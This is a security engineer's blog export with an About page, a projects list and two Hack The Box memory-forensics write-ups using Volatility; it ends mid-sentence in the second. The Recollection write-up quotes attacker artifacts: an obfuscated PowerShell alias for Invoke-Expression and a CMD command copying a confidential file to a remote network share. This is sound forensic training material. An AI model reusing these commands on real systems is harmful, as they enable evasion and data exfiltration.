[{"content":"Hi, I\u0026rsquo;m Mohammad Ishfaque Jahan Rafee — a Security Engineer based in Edmonton, Canada. Most people know me as Rafee or online as @rafee_sec.\nI specialize in Cloud Security Architecture (AWS \u0026amp; OCI), Infrastructure Defense, Digital Forensics \u0026amp; Incident Response (DFIR), and Security Automation. My professional philosophy centers on building pragmatic, robust defenses that empower development and operations rather than slowing them down.\nMy Journey My passion for engineering and mathematics began in Bangladesh, which led me to study Electrical and Electronic Engineering at the country\u0026rsquo;s premier institution, the Bangladesh University of Engineering and Technology (BUET).\nTechnical Pre-Sales \u0026amp; Enterprise Telecom Following graduation, I spent four formative years in telecommunications and enterprise solutions:\nHuawei Technologies — Solutions Engineer: Communicated across the entire organizational spectrum. I worked directly with seasoned technical teams on granular technical details while articulating business impact, ROI, and security postures to C-suite/CXO executives. ZTE Corporation — Technical Account Manager / Pre-Sales: Led technical consulting and account management for large-scale telecommunications and government infrastructure projects, including a multi-vendor project valued near USD $200M. Managing such complex engagements honed my ability to anticipate risks, coordinate cross-functional teams, and ensure robust operational governance. Graduate Studies \u0026amp; Systems Security Driven by an enduring enthusiasm for cloud systems, networks, and cybersecurity, I moved to Canada to pursue my graduate degree at Concordia University in Montreal. I earned my Master of Engineering (MEng) in Information Systems Security, while also working as a Graduate Research Assistant investigating computer vision, projective geometry, and distributed systems.\nSecurity Engineering at CMiC Today, I work as a Security Engineer at CMiC, where I safeguard enterprise ERP cloud environments across Amazon Web Services (AWS) and Oracle Cloud Infrastructure (OCI):\nImplementing continuous risk management, threat modeling, and proactive security guardrails. Designing and implementing automated security auditing and compliance checks using Python and Go. Analyzing SIEM telemetry, network flow logs, and infrastructure configurations to detect anomalies and strengthen defense-in-depth posture. Championing Infrastructure as Code (IaC) with Terraform to ensure our cloud environments remain reproducible, auditable, and secure by default. Technical Toolkit \u0026amp; Competencies Cloud \u0026amp; Infrastructure Defense: Amazon Web Services (AWS), Oracle Cloud Infrastructure (OCI), Cloud Security Posture Management (CSPM), Identity \u0026amp; Access Management (IAM), Zero-Trust Architecture, Linux/Unix administration, Containerization (Docker). Incident Response \u0026amp; Digital Forensics: DFIR, Memory Forensics (Volatility 2 / Volatility 3), SIEM log ingestion \u0026amp; analysis, network traffic analysis, vulnerability assessment. Security Automation \u0026amp; Scripting: Python, Go, Bash, REST APIs, automated security auditing and remediation scripts. Infrastructure as Code (IaC): Terraform, CloudFormation, GitOps workflows. Programming \u0026amp; Algorithms: Python, Go, Java, C++, Git (solved 300+ problems on LeetCode). Academic Publications \u0026amp; Research During my academic tenure, I co-authored research papers presented at IEEE conferences:\nSelf-localization of a mobile robot using monocular vision of a chessboard pattern\nIEEE Conference Publication\nCo-authors: Parvez Ahmmed, Zabir Ahmed, Sajid Muhaimin Choudhury, Mohammad Rafee\nFocus: Mobile robotics, computer vision, projective geometry, and autonomous indoor localization.\nModeling and simulation of a Microcontroller based power factor correction converter\nIEEE Conference Publication\nCo-authors: Parvez Ahmmed, Shammya Shananda Saha, S M Nahian Al Sunny, Mohammad Rafee\nFocus: Power electronics, microcontroller control loops, and efficiency optimization.\nBeyond the Terminal When I\u0026rsquo;m not auditing cloud configurations or investigating CTF memory dumps, you can typically find me:\nDistance Running: An avid runner training for marathons and half-marathons, frequently participating in local road races across Alberta and Canada. Urban Planning \u0026amp; Zoning Advocacy: Passionate about sustainable urbanism, walkable communities, and housing accessibility — actively engaging with local municipal discussions and civic initiatives in Edmonton. Security Challenges \u0026amp; Hacking: Sharpening forensic and offensive defense skills through Hack The Box Sherlocks and CTFs. Let\u0026rsquo;s Connect I am always keen to exchange ideas with fellow security practitioners, cloud architects, developers, and runners.\nLinkedIn: linkedin.com/in/rafee-sec GitHub: github.com/rafee X / Twitter: @rafee_sec Email: mij.rafee.1344@gmail.com ","permalink":"https://rafee.me/about/","summary":"\u003cp\u003eHi, I\u0026rsquo;m \u003cstrong\u003eMohammad Ishfaque Jahan Rafee\u003c/strong\u003e — a \u003cstrong\u003eSecurity Engineer\u003c/strong\u003e based in Edmonton, Canada. Most people know me as \u003cstrong\u003eRafee\u003c/strong\u003e or online as \u003cstrong\u003e\u003ca href=\"https://twitter.com/rafee_sec\"\u003e@rafee_sec\u003c/a\u003e\u003c/strong\u003e.\u003c/p\u003e\n\u003cp\u003eI specialize in \u003cstrong\u003eCloud Security Architecture (AWS \u0026amp; OCI)\u003c/strong\u003e, \u003cstrong\u003eInfrastructure Defense\u003c/strong\u003e, \u003cstrong\u003eDigital Forensics \u0026amp; Incident Response (DFIR)\u003c/strong\u003e, and \u003cstrong\u003eSecurity Automation\u003c/strong\u003e. My professional philosophy centers on building pragmatic, robust defenses that empower development and operations rather than slowing them down.\u003c/p\u003e\n\u003chr\u003e\n\u003ch3 id=\"my-journey\"\u003eMy Journey\u003c/h3\u003e\n\u003cp\u003eMy passion for engineering and mathematics began in Bangladesh, which led me to study Electrical and Electronic Engineering at the country\u0026rsquo;s premier institution, the \u003cstrong\u003eBangladesh University of Engineering and Technology (BUET)\u003c/strong\u003e.\u003c/p\u003e","title":"About Me"},{"content":"Here is a curated overview of my projects, security investigations, research, and technical experiments across cloud defense, digital forensics, automation, and robotics.\nCloud Security \u0026amp; Automation Enterprise Multi-Cloud Security Auditing \u0026amp; Guardrails Focus: AWS \u0026amp; Oracle Cloud Infrastructure (OCI) Tech Stack: Python, Go, Bash, AWS SDK (Boto3), OCI SDK, Terraform Description: Developed custom audit and verification scripts to enforce Cloud Security Posture Management (CSPM) and least-privilege Identity and Access Management (IAM) across hybrid enterprise cloud tenants. Automated the extraction and parsing of security configuration baselines, generating actionable reporting for engineering teams. Infrastructure as Code (IaC) with Terraform Focus: Reproducible Cloud Environments \u0026amp; Disaster Recovery Tech Stack: Terraform, OCI, AWS, GitOps Description: Designed modular Terraform configurations to replace error-prone manual console deployments. Ensured disaster recovery environments and cloud workloads can be reliably recreated from declarative, version-controlled definitions with integrated security baselines. Digital Forensics \u0026amp; Incident Response (DFIR) Memory Forensics \u0026amp; Malware Analysis (Hack The Box Sherlocks) Focus: Threat Hunting \u0026amp; Artifact Extraction Tech Stack: Volatility 2, Volatility 3, YARA, Wireshark, Linux/CLI tools Highlights: Sherlock - Meerkat: Deep investigation into network attack vectors, Suricata/Snort alert interpretation, and exploit payload tracing. Sherlock - Recollection \u0026amp; RogueOne: Full memory dump analysis, locating injected DLLs, anomalous process hierarchies, dumped credentials, and command-and-control (C2) persistence mechanisms. Threat Intelligence \u0026amp; Telemetry Analysis Focus: Zero-Day Vulnerability Research \u0026amp; Defense Hygiene Highlights: Published technical analyses on sophisticated zero-day, zero-click exploit chains (such as the 2023–2024 Apple iMessage hardware/software vulnerability chain documented by Kaspersky). Emphasized the defensive value of deep SIEM flow-log inspection over superficial perimeter protection. Academic \u0026amp; Applied Robotics Research Autonomous Mobile Robot Localization via Monocular Vision Published: IEEE Conference Proceedings Tech Stack: Computer Vision, C++, OpenCV, Projective Geometry, MATLAB Summary: Implemented a real-time self-localization framework for autonomous mobile robots using monocular camera input tracking planar chessboard pattern markers. Derived exact position and orientation transforms using geometric perspective-n-point algorithms. Microcontroller-Based Digital Power Factor Correction Converter Published: IEEE Conference Proceedings Tech Stack: Microcontroller Firmware, Power Electronics, MATLAB/Simulink Summary: Modeled and simulated a closed-loop digital control converter to optimize electrical efficiency and power quality, minimizing harmonic distortion in power distribution systems. Open Source, Utilities \u0026amp; Problem Solving Automated Activity \u0026amp; Health Loggers (StepCounter, put_steps) GitHub: github.com/rafee Tech Stack: Python, APIs, Cloud Storage Summary: Lightweight CLI utilities designed to automate personal fitness tracking data ingestion, synchronization with cloud storage, and automated log visualization. Algorithmic Problem Solving (LeetCode) Focus: Data Structures \u0026amp; Algorithms Highlights: Solved over 300 problems across graph theory, dynamic programming, tree traversals, and system design using Go, Python, Java, and C++. Personal Website \u0026amp; Tech Blog (rafee.me) Tech Stack: Hugo, Go Templates, Markdown, Cloudflare Pages Summary: Fast, static, and minimalist personal knowledge base and technical blog deployed with continuous integration on Cloudflare. ","permalink":"https://rafee.me/projects/","summary":"\u003cp\u003eHere is a curated overview of my projects, security investigations, research, and technical experiments across cloud defense, digital forensics, automation, and robotics.\u003c/p\u003e\n\u003chr\u003e\n\u003ch3 id=\"cloud-security--automation\"\u003eCloud Security \u0026amp; Automation\u003c/h3\u003e\n\u003ch4 id=\"enterprise-multi-cloud-security-auditing--guardrails\"\u003e\u003cstrong\u003eEnterprise Multi-Cloud Security Auditing \u0026amp; Guardrails\u003c/strong\u003e\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eFocus\u003c/strong\u003e: AWS \u0026amp; Oracle Cloud Infrastructure (OCI)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eTech Stack\u003c/strong\u003e: Python, Go, Bash, AWS SDK (Boto3), OCI SDK, Terraform\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eDescription\u003c/strong\u003e: Developed custom audit and verification scripts to enforce Cloud Security Posture Management (CSPM) and least-privilege Identity and Access Management (IAM) across hybrid enterprise cloud tenants. Automated the extraction and parsing of security configuration baselines, generating actionable reporting for engineering teams.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch4 id=\"infrastructure-as-code-iac-with-terraform\"\u003e\u003cstrong\u003eInfrastructure as Code (IaC) with Terraform\u003c/strong\u003e\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eFocus\u003c/strong\u003e: Reproducible Cloud Environments \u0026amp; Disaster Recovery\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eTech Stack\u003c/strong\u003e: Terraform, OCI, AWS, GitOps\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eDescription\u003c/strong\u003e: Designed modular Terraform configurations to replace error-prone manual console deployments. Ensured disaster recovery environments and cloud workloads can be reliably recreated from declarative, version-controlled definitions with integrated security baselines.\u003c/li\u003e\n\u003c/ul\u003e\n\u003chr\u003e\n\u003ch3 id=\"digital-forensics--incident-response-dfir\"\u003eDigital Forensics \u0026amp; Incident Response (DFIR)\u003c/h3\u003e\n\u003ch4 id=\"memory-forensics--malware-analysis-hack-the-box-sherlocks\"\u003e\u003cstrong\u003eMemory Forensics \u0026amp; Malware Analysis (Hack The Box Sherlocks)\u003c/strong\u003e\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eFocus\u003c/strong\u003e: Threat Hunting \u0026amp; Artifact Extraction\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eTech Stack\u003c/strong\u003e: Volatility 2, Volatility 3, YARA, Wireshark, Linux/CLI tools\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eHighlights\u003c/strong\u003e:\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eSherlock - Meerkat\u003c/strong\u003e: Deep investigation into network attack vectors, Suricata/Snort alert interpretation, and exploit payload tracing.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eSherlock - Recollection \u0026amp; RogueOne\u003c/strong\u003e: Full memory dump analysis, locating injected DLLs, anomalous process hierarchies, dumped credentials, and command-and-control (C2) persistence mechanisms.\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch4 id=\"threat-intelligence--telemetry-analysis\"\u003e\u003cstrong\u003eThreat Intelligence \u0026amp; Telemetry Analysis\u003c/strong\u003e\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eFocus\u003c/strong\u003e: Zero-Day Vulnerability Research \u0026amp; Defense Hygiene\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eHighlights\u003c/strong\u003e: Published technical analyses on sophisticated zero-day, zero-click exploit chains (such as the 2023–2024 Apple iMessage hardware/software vulnerability chain documented by Kaspersky). Emphasized the defensive value of deep SIEM flow-log inspection over superficial perimeter protection.\u003c/li\u003e\n\u003c/ul\u003e\n\u003chr\u003e\n\u003ch3 id=\"academic--applied-robotics-research\"\u003eAcademic \u0026amp; Applied Robotics Research\u003c/h3\u003e\n\u003ch4 id=\"autonomous-mobile-robot-localization-via-monocular-vision\"\u003e\u003cstrong\u003eAutonomous Mobile Robot Localization via Monocular Vision\u003c/strong\u003e\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003ePublished\u003c/strong\u003e: IEEE Conference Proceedings\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eTech Stack\u003c/strong\u003e: Computer Vision, C++, OpenCV, Projective Geometry, MATLAB\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eSummary\u003c/strong\u003e: Implemented a real-time self-localization framework for autonomous mobile robots using monocular camera input tracking planar chessboard pattern markers. Derived exact position and orientation transforms using geometric perspective-n-point algorithms.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch4 id=\"microcontroller-based-digital-power-factor-correction-converter\"\u003e\u003cstrong\u003eMicrocontroller-Based Digital Power Factor Correction Converter\u003c/strong\u003e\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003ePublished\u003c/strong\u003e: IEEE Conference Proceedings\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eTech Stack\u003c/strong\u003e: Microcontroller Firmware, Power Electronics, MATLAB/Simulink\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eSummary\u003c/strong\u003e: Modeled and simulated a closed-loop digital control converter to optimize electrical efficiency and power quality, minimizing harmonic distortion in power distribution systems.\u003c/li\u003e\n\u003c/ul\u003e\n\u003chr\u003e\n\u003ch3 id=\"open-source-utilities--problem-solving\"\u003eOpen Source, Utilities \u0026amp; Problem Solving\u003c/h3\u003e\n\u003ch4 id=\"automated-activity--health-loggers-stepcounter-put_steps\"\u003e\u003cstrong\u003eAutomated Activity \u0026amp; Health Loggers (\u003ccode\u003eStepCounter\u003c/code\u003e, \u003ccode\u003eput_steps\u003c/code\u003e)\u003c/strong\u003e\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eGitHub\u003c/strong\u003e: \u003ca href=\"https://github.com/rafee\"\u003egithub.com/rafee\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eTech Stack\u003c/strong\u003e: Python, APIs, Cloud Storage\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eSummary\u003c/strong\u003e: Lightweight CLI utilities designed to automate personal fitness tracking data ingestion, synchronization with cloud storage, and automated log visualization.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch4 id=\"algorithmic-problem-solving-leetcode\"\u003e\u003cstrong\u003eAlgorithmic Problem Solving (LeetCode)\u003c/strong\u003e\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eFocus\u003c/strong\u003e: Data Structures \u0026amp; Algorithms\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eHighlights\u003c/strong\u003e: Solved over 300 problems across graph theory, dynamic programming, tree traversals, and system design using \u003cstrong\u003eGo\u003c/strong\u003e, \u003cstrong\u003ePython\u003c/strong\u003e, \u003cstrong\u003eJava\u003c/strong\u003e, and \u003cstrong\u003eC++\u003c/strong\u003e.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch4 id=\"personal-website--tech-blog-rafeeme\"\u003e\u003cstrong\u003ePersonal Website \u0026amp; Tech Blog (\u003ccode\u003erafee.me\u003c/code\u003e)\u003c/strong\u003e\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eTech Stack\u003c/strong\u003e: Hugo, Go Templates, Markdown, Cloudflare Pages\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eSummary\u003c/strong\u003e: Fast, static, and minimalist personal knowledge base and technical blog deployed with continuous integration on Cloudflare.\u003c/li\u003e\n\u003c/ul\u003e","title":"Projects \u0026 Highlights"},{"content":"This is my third attempt at Hack The Box and second attempt at write-up. So, still fishing for feedback as there\u0026rsquo;s definitely room for improvement. I was able to solve two problems that I was having last time (Downloading the files directly to AWS and unzipping not working at linux). For first one I do know the answer and for second one I don\u0026rsquo;t, but it works now. To download the files directly to EC2 instance, I grabbed the url from network tab in the developer tools. The command I used is as follows:\ncurl 'https://challenges-cdn.hackthebox.com/sherlocks/easy/recollection.zip?u=xxx\u0026amp;p=xx\u0026amp;e=xx\u0026amp;t=xx\u0026amp;h=xx' \\ -X 'OPTIONS' \\ -H 'authority: challenges-cdn.hackthebox.com' \\ -H 'accept: */*' \\ -H 'accept-language: en-US,en;q=0.9' \\ -H 'access-control-request-headers: authorization' \\ -H 'access-control-request-method: GET' \\ -H 'origin: https://app.hackthebox.com' \\ -H 'referer: https://app.hackthebox.com/' \\ -H 'sec-fetch-dest: empty' \\ -H 'sec-fetch-mode: cors' \\ -H 'sec-fetch-site: same-site' \\ -H 'user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0' \\ --compressed --output recollection.zip\nThe xx portion contains the authorization parameters that I intentionaly avoided posting. After that i unzipped the files using unzip and it asked for password unlike last time. You should be able to get the password from the problem page, I found it same all the time anyway i.e. hacktheblue.\nLet\u0026rsquo;s start with the problem statement:\nA junior member of our security team has been performing research and testing on what we believe to be an old and insecure operating system. We believe it may have been compromised \u0026amp; have managed to a memory dump of the asset. We want to confirm what actions were carried out by the attacker and if any other assets in our environment might be affected. Please answer the questions below.\nThe problem provided a 674 MB memory dump that required analysis. I used Volatility 2 for this problem, as this problem required use of some plugins which are not yet ported to Volatility 3, and if I believe the GitHub issues page of the tool, will probably never be ported to Volatility 3.\nThe first task is identifying the operating system of the machine from where the memory dump is collected. For that we use the following command:\nvol.py -f recollection.bin imageinfo\nThe output that we get is as follows:\nThat seems inconclusive. Let\u0026rsquo;s run the following command in volatility 3:\nvol -f recollection.bin windows.info.Info\nWe get the following line in output:\nNTBuildLab 7601.24214.amd64fre.win7sp1_ldr_\nThis is a bit more conclusive. The answer to task 1:\nWindows 7\nI learned about these commands mainly from 2 places. vol.py -h and vol -h. For Volatility 3 it\u0026rsquo;s actually even more helpful as if you run the command with info which is an invalid plugin name, it shows suggestions about similar plugin names, which I found very helpful.\nFor task 2 we were asked about when the memory dump was created. We can get the answer for that in the prior image.\nImage date and time : 2022-12-19 16:07:30 UTC+0000\nAnswer for task 2: 2022-12-19 16:07:30\nTask 3: After the attacker gained access to the machine, the attacker copied an obfuscated PowerShell command to the clipboard. What was the command?\nTo get that we run this on terminal:\nvol.py -f recollection.bin --profile Win7SP1x64 clipboard \u0026gt; outputs/vol2/clipboard.txt\nLike before, we are trying to save our outputs assuming they may be required later on and reproducing them might be a lengthy task depending on the machine. The output of the command is the following:\nAnswer to task 3: (gv '*MDR*').naMe[3,11,2]-joIN''\nTask 4: The attacker copied the obfuscated command to use it as an alias for a PowerShell cmdlet. What is the cmdlet name?\nBy running the command on a sandboxed powershell we get iex. Please note, do not run any of these attack commands on your day to day use machine as they can be dangerous.\nBy searching, we get iex is short form of powershell cmdlet Invoke-Expression\nAnswer to task 4: Invoke-Expression\nTask 5: A CMD command was executed to attempt to exfiltrate a file. What is the full command line?\nFor that we run the following command:\nvol.py -f recollection.bin --profile Win7SP1x64 cmdscan \u0026gt; outputs/vol2/cmdscan.txt\nA segment in output file is as follows:\nAnswer to task 5: type C:\\Users\\Public\\Secret\\Confidential.txt \u0026gt; \\\\192.168.0.171\\pulice\\pass.txt\nTask 6:Following the above command, now tell us if the file was exfiltrated successfully?\nThis is where I spent quite a bit of time. Because I found two plugins cmdscan and cmdline none of which shows the output. Then I realized if we can grab the complete output in console, only then we can understand success/failure of the command. For that the plugin is consoles. The full command is the following: vol.py -f recollection.bin --profile Win7SP1x64_24000 consoles \u0026gt; outputs/vol2/console.txt\nIn the output we get the following result:\nAnswer to task 6: No\nTask 7: The attacker tried to create a readme file. What was the full path of the file?\nTo get answer to this, we\u0026rsquo;re going to assume this was attempted with any of the running processes, otherwise we can\u0026rsquo;t get the information from memory dump. We\u0026rsquo;ll look for the processes running. For that the command will be:\nvol.py -f recollection.bin --profile Win7SP1x64 pslist \u0026gt; outputs/vol2/pslist.txt\nOn line 42 of the file we get notepad.exe running.\nThen we dump the memory of pid 3476 using command:\nvol.py -f recollection.bin --profile Win7SP1x64 memdump -p 3476 -D outputs/vol2/notepad\nThen we use strings on that dump file and search for readme there and we get our result:\nstrings outputs/vol2/notepad/3476.dmp | grep -in 'readme'\nAnswer to task 7: C:\\Users\\Public\\Office\\readme.txt\nTask 8: What was the Host Name of the machine?\nFor this I relied on this tutorial. The TLDR command:\nvol.py -f recollection.bin --profile Win7SP1x64 printkey -o 0xfffff8a000024010 -K \u0026quot;ControlSet001\\Control\\ComputerName\\ComputerName\u0026quot;\nAnswer for task 8:USER-PC\nTask 9: How many user accounts were in the machine\nI searched a long time for the answer to this question on registry file. Finally when I was about to give up, I realized in console text, there\u0026rsquo;s a line as follows: Answer to task 9:3\nTask 10: In the \u0026quot;\\Device\\HarddiskVolume2\\Users\\user\\AppData\\Local\\Microsoft\\Edge\u0026quot; folder there were some sub-folders where there was a file named passwords.txt. What was the full file location/path?\nTo find this, I used filescan plugin. The full command:\nvol.py -f recollection.bin --profile Win7SP1x64 filescan \u0026gt; outputs/vol2/filescan.txt\nThen searching for passwords.txt in the output, we get the result:\nAnswer to task 10: \\Device\\HarddiskVolume2\\Users\\user\\AppData\\Local\\Microsoft\\Edge\\User Data\\ZxcvbnData\\3.0.0.0\\passwords.txt\nTask 11: A malicious executable file was executed using command. The executable EXE file's name was the hash value of itself. What was the hash value?\nFor this we can go back to the cmdscan.txt. From there we get the result.\nAnswer to task 11: b0ad704122d9cffddd57ec92991a1e99fc1ac02d5b4d8fd31720978c02635cb1\nTask 12: Following the previous question, what is the Imphash of the malicous file you found above?\nTo answer this I first had to understand what imphash actually is. From Mandiant we get this:\nOne unique way that Mandiant tracks specific threat groups' backdoors is to track portable executable (PE) imports. Imports are the functions that a piece of software (in this case, the backdoor) calls from other files (typically various DLLs that provide functionality to the Windows operating system). To track these imports, Mandiant creates a hash based on library/API names and their specific order within the executable. We refer to this convention as an \u0026quot;imphash\u0026quot; (for \u0026quot;import hash\u0026quot;). Because of the way a PE's import table is generated (and therefore how its imphash is calculated), we can use the imphash value to identify related malware samples. We can also use it to search for new, similar samples that the same threat group may have created and used.\nThis tells me, while there\u0026rsquo;s hash in the ask, this is not a deterministic result. Rather this is something we have to search in OSINT platforms like Virustotal. By searching using the hash in virustotal we get our result:\nAnswer to task 12: d3b592cd9481e4f053b5362e22d61595\nTask 13: Following the previous question, tell us the date in UTC format when the malicious file was created?\nWe get this result from virustotal as well!\nAnswer to task 13: 2022-06-22 11:49:04\nTask 14: What was the local IP address of the machine?\nTo get this I used the Local Address field in the output of netscan plugin.\nAnswer to task 14: 192.168.0.104\nTask 15: There were multiple PowerShell processes, where one process was a child process. Which process was its parent process?\nFor this we looked inside the pslist.txt. From there we get the result.\nAnswer to task 15: cmd.exe\nTask 16: Attacker might have used an email address to login a social media. Can you tell us the email address?\nTo solve this I collected memory dump for all processes marked as msedge.exe in pslist.txt. To get the dumps I used the following command:\nvol.py -f recollection.bin --profile Win7SP1x64 memdump -p 2380,2396,2588,2680,2752,3032,980,2060,3560,2160 -D outputs/vol2/msedge\nAfter that I ran search with first mail and then gmail on the output. Command used to run the search is as follows:\nstrings vol2/msedge/*.dmp| grep \u0026quot;gmail\u0026quot;\nAnswer to task 16: mafia_code1337@gmail.com\nTask 17: Using MS Edge browser, the victim searched about a SIEM solution. What is the SIEM solution's name?\nTo find this I searched in same fashion as before in the memory dump of edge using following command:\nstrings vol2/msedge/*.dmp| grep \u0026quot;https://www.bing.com/search\u0026quot;\nThere we see the victim searched for wazuh. I recalled in console.txt I saw the victim downloaded an agent for wazuh. After short searching I found Wazuh is a SIEM solution.\nThe answer to task 17: Wazuh\nTask 18: The victim user downloaded an exe file. The file's name was mimicking a legitimate binary from Microsoft with a typo (i.e. legitimate binary is powershell.exe and attacker named a malware as powershall.exe). Tell us the file name with the file extension?\nFor this I referred to consoles.txt again. In the list of files, there was a file named csrsss.exe, which is very similar to csrss.exe, a regular windows program.\nAnswer to task 18: csrsss.exe\nAnd with that, the problem is completed!\n","permalink":"https://rafee.me/posts/htb_recollection/","summary":"\u003cp\u003eThis is my third attempt at Hack The Box and second attempt at write-up. So, still fishing for feedback as there\u0026rsquo;s definitely room for improvement. I was able to solve two problems that I was having last time (Downloading the files directly to AWS and unzipping not working at linux). For first one I do know the answer and for second one I don\u0026rsquo;t, but it works now. To download the files directly to EC2 instance, I grabbed the url from network tab in the developer tools. The command I used is as follows:\u003c/p\u003e","title":"Hack The Box - Recollection Solution"},{"content":"I\u0026rsquo;ve recently dedicated some time to delve deeper into the realms of hacking and incident response. While this field is expansive, and each individual has their preferred learning method, I\u0026rsquo;ve discovered that Hack The Box (HTB) aligns best with my learning style. My reasoning behind this preference is that, unlike many other platforms, HTB strives to simulate real-world issues more closely. By tackling challenges on HTB, one acquires skills directly applicable to real-life scenarios. This sets it apart from Capture The Flag (CTF) competitions, which often lean more towards resembling problems found on platforms like LeetCode.\nThe initial challenge I tackled was RogueOne. Here\u0026rsquo;s the problem statement:\nYour SIEM system generated multiple alerts in less than a minute, indicating potential C2 communication from Simon Stark's workstation. Despite Simon not noticing anything unusual, the IT team had him share screenshots of his task manager to check for any unusual processes. No suspicious processes were found, yet alerts about C2 communications persisted. The SOC manager then directed the immediate containment of the workstation and a memory dump for analysis. As a memory forensics expert, you are tasked with assisting the SOC team at Forela to investigate and resolve this urgent incident.\nThe problem provided a 1 GB memory dump that required analysis. I utilized Volatility 3, which as far as I know, is the most widely used tool for such tasks. If there\u0026rsquo;s a superior alternative, I\u0026rsquo;d welcome suggestions in the comments. It\u0026rsquo;s worth noting that the default unzip tool in Windows failed to extract the file without requesting a password; however, when I opened the zip file with PeaZip, I was prompted for a password. If anyone has insights into this issue, I\u0026rsquo;d greatly appreciate any comments on that too.\nOur initial task is to pinpoint the malicious process and input its process ID. Our primary approach involves identifying all processes engaged in outbound communication with the C\u0026amp;C server. Typically, knowing the IP address of the C\u0026amp;C server serves as a clear indicator. However, as the IP is not provided here, we must rely on alternative clues. We proceed by executing the following command.\nvol -f 20230810.mem windows.netstat.NetStat \u0026gt; outputs/netstat.txt\nLet\u0026rsquo;s dissect this command. vol refers to the volatility3 program. The -f argument specifies that the subsequent argument will be the input memory dump. In volatility2, one would have to specify the profile for memory analysis, but in volatility3, this is defined through the plugin name. The next argument, windows.netstat.NetStat, denotes the plugin to be executed, which outputs the list of connections in the system or memory. The final set of arguments, \u0026gt; outputs/netstat.txt, redirects the output to a file named netstat.txt within the outputs directory. This setup aims to preserve artifacts, anticipating multiple analyses on the output, which might take considerable time to generate depending on the system.\nFirst lets take a look at first couple of lines of output. In this output, we observe various lines indicating connections marked either as ESTABLISHED or CLOSE_WAIT, alongside some denoted as LISTENING, which becomes evident upon scrolling down further. Given the emphasis on active connections in the problem statement, we\u0026rsquo;ll narrow our focus solely to those marked as ESTABLISHED. This will be accomplished using the following command:\ngrep -n \u0026quot;ESTABLISHED\u0026quot; outputs/netstat.txt\ngrep is the tool used for text search, and the -n argument directs it to display line numbers. \u0026quot;ESTABLISHED\u0026quot; denotes the pattern we\u0026rsquo;re searching for, while the last part simply represents the filename. The resulting output is as follows:\nThings are starting to get intriguing! We\u0026rsquo;ve observed four instances of the svchost.exe application connected to the internet. Among these, three are linked to port 443, while one is connected to port 8888. While this method isn\u0026rsquo;t foolproof, my initial speculation is that port 443 is likely normal and used for HTTPS, whereas the service connected to port 8888 should be regarded as suspicious. However, before reaching a final conclusion, let\u0026rsquo;s delve into what svchost.exe actually does. According to lifewire:\nThe purpose for svchost.exe is to, as the name would imply, host services. Windows uses it to group services that need access to the same DLLs to run in one process, helping to reduce their demand for system resources.\nThis seems innocent. However, it\u0026rsquo;s important to note that malware developers often use innocuous names for their programs to camouflage among legitimate and necessary components. Therefore, let\u0026rsquo;s delve one step deeper. We\u0026rsquo;ll attempt to examine other processes in the system by using the following command to retrieve the list of all running processes.\nvol -f 20230810.mem windows.pslist.PsList \u0026gt; outputs/pslist.txt\nAs before, we\u0026rsquo;re preserving the outputs to a file for multiple analyses. Next, we\u0026rsquo;ll search for svchost.exe in the file.\ngrep -n 'svchost.exe' outputs/pslist.txt\nA segment of the output is as follows: We discover something very interesting here. Except pid 6812 and 936, all other processes have pid 788 as the parent. For these two, the parent is pid 7436. Let\u0026rsquo;s try to search more details of the pid 788 and 7436. For pid 788 we get a large number of results, so let\u0026rsquo;s try to look at only the first one, as we are interested in the process itself, not it\u0026rsquo;s childs for now. For 788 the command is:\ngrep '788' -m 1 outputs/pslist.txt\nAnd it\u0026rsquo;s output:\nFor 7436, the output is:\nWith this analysis, we can confidently identify our malicious process ID as 6812. The rationale behind this conclusion is that while services.exe is a common service responsible for launching svchost.exe, explorer.exe typically corresponds to the Windows File Explorer. Hence, pid 6812 stands out as the malicious process. Therefore, the answer to task 1 is:\n6812\nFor Task 2, which entails finding the process spawned by the malicious process, we apply the same approach as before and execute the following command:\ngrep -n '6812' outputs/pslist.txt\nWe get this output:\nOur result for task 2:\n4364\nThe next task asks us to find the md5 hash of the malicious program file. To get the malicious program from memory we use the following command:\nvol -f 20230810.mem -o 6812 windows.dumpfile --pid 6812\nHere -o defines the output directory, --pid 6812 defines our targeted pid and the other argument is name of the plugin used. The output is as follows:\nWhile we can see a lots of dll files as output, for us the most important one is file.0x9e8b91ec0140.0x9e8b957f24c0.ImageSectionObject.svchost.exe.img. Running md5sum on the file we get our result for task 